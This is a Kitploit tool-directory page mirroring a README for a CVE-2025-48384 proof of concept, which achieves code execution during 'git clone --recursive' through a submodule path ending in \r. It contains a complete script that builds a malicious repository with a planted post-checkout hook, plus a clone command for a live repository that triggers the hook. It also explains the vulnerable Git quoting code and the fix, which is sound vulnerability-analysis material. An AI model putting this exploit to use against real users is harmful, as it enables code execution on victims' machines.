Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-48384 — CVE-2025-48384 PoC | Kitploit
Tools/GitHubGitHub/ik-20211125/cve-2025-48384
Vulnerability AnalysisCode AnalysisExploitationSupply Chain SecurityLearning & EducationPayload Development
GitHubik-20211125/cve-2025-48384

CVE-2025-48384

CVE-2025-48384 PoC

View Repository
161 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-48384 PoC

Notes

This repository was created for security education purposes.
Please do not misuse it.

This vulnerability requires including \r in directory names,
so Linux/Unix systems are affected.

The following Git versions are affected:

  • v2.43.x series -> less than v2.43.7
  • v2.44.x series -> less than v2.44.4
  • v2.45.x series -> less than v2.45.4
  • v2.46.x series -> less than v2.46.4
  • v2.47.x series -> less than v2.47.3
  • v2.48.x series -> less than v2.48.2
  • v2.49.x series -> less than v2.49.1
  • v2.50.x series -> less than v2.50.1

Remote Verification

RCE also works when cloning this repository with the following command:
※ Please be very careful when executing.

root@kitploit:~
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384

The commands in post-checkout of the following submodule repository will be executed:

  • IK-20211125/sub
root@kitploit:~
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384

Local Verification ShellScript

Download Tool
root@kitploit:~
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook

git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"

git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules

ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone

Created with reference to this.

Two changes were made:

  1. Changed for zsh
  2. Removed the following:
root@kitploit:~
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

Technical Analysis

Why is RCE possible?

First, regarding why RCE is achieved,
this vulnerability uses a standard Git feature called hooks.

To briefly explain hooks,
it is a feature that allows executing pre-configured scripts when specific events (such as commits) occur.

This vulnerability uses the file post-checkout inside .git, which is executed at checkout.

However, this file can normally only be handled locally, so simply cloning a GitHub repository
does not allow an attacker to intervene.

This is bypassed by exploiting Git's handling of \r, making it possible to place an arbitrary post-checkout file in ./.git/modules/sub/hooks/ locally, thus achieving RCE.


Why can post-checkout be placed in hooks?

It uses Git's handling of \r.

Let's briefly explain by following Git's process.

First, using git clone --recursive {url}, clone from a remote repository on GitHub to local.
(Adding --recursive also clones submodules simultaneously.)
At that time, the submodule from url is extracted into the directory specified by the path parameter in .gitmodules.

root@kitploit:~
[submodule "sub"]
	url = https://github.com/IK-20211125/sub.git
	path = "sub"

The directory name of this path parameter is manipulated as follows:

root@kitploit:~
    path = "sub\r"

Also, the submodule directory name in the repository is set to sub\r.

When git clone --recursive is performed this way,
according to the path in .gitmodules, it tries to extract the submodule from url into the sub\r directory.
(If the directory specified by path in .gitmodules does not exist, the submodule is not extracted.)

However, Git does not refer to the value of path in .gitmodules for the final extraction destination of the submodule.

It ultimately refers to a parameter called worktree in .git/modules/sub/config.

This parameter is written based on the value of path in .gitmodules.

This writing is important.

When path = "sub\r" is written to worktree in .git/modules/sub/config, it becomes as follows:

root@kitploit:~
[core]
    workdir = ../../../sub\r

The important point is that it is not enclosed in double quotes.

root@kitploit:~
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
       [...]

       /*
         * Check to see if the value needs to be surrounded with a dq pair.
         * Note that problematic characters are always backslash-quoted; this
         * check is about not losing leading or trailing SP and strings that
         * follow beginning-of-comment characters (i.e. ';' and '#') by the
         * configuration parser.
         */
        if (value[0] == ' ')
                quote = "\"";
        for (i = 0; value[i]; i++)
                if (value[i] == ';' || value[i] == '#')
                        quote = "\"";
        if (i && value[i - 1] == ' ')
                quote = "\"";

        strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);

It is enclosed in double quotes only when a space is in a specific position,
or when ; or # is present anywhere,
but \r is not enclosed in double quotes.

When not enclosed in double quotes, Git does not evaluate the trailing \r.

Therefore, the extraction destination of the submodule becomes ../../../sub.

Since the submodule name is sub\r, it is possible to create any form of file named sub (the names do not conflict).

Place a symbolic link here to change the extraction destination of the submodule to ./.git/modules/sub/hooks/.

root@kitploit:~
sub -> .git/modules/sub/hooks

The attacker's script file post-checkout placed inside the submodule
can be placed in the victim's local ./.git/modules/sub/hooks/, and will be executed at checkout.


Key Point

This attack works because Git's handling of \r changes.

  • When Git references .gitmodules, it is enclosed in double quotes, so \r is evaluated.
  • When Git references .git/modules/sub/config, it is not enclosed in double quotes, so \r is not evaluated.

Fix

In the Git versions that fixed this vulnerability, the following change was made:
(Change to enclose in double quotes if \r is present)

root@kitploit:~
	if (value[0] == ' ')
		quote = "\"";
	for (i = 0; value[i]; i++)
		if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
			quote = "\"";
	if (i && value[i - 1] == ' ')
		quote = "\"";

https://github.com/git/git/blob/master/config.c#L2938


Similar Vulnerability

A similar vulnerability is CVE-2024-32002.

This vulnerability exploits case-insensitive file systems (Windows, macOS, etc.)
and uses symbolic links similar to CVE-2025-48384 to allow attacker intervention in githooks.

The following article is helpful:
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002


References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-48384
  • https://github.com/acheong08/CVE-2025-48384/tree/main
  • https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384

※ If there are any misinterpretations in the content, we would appreciate your feedback.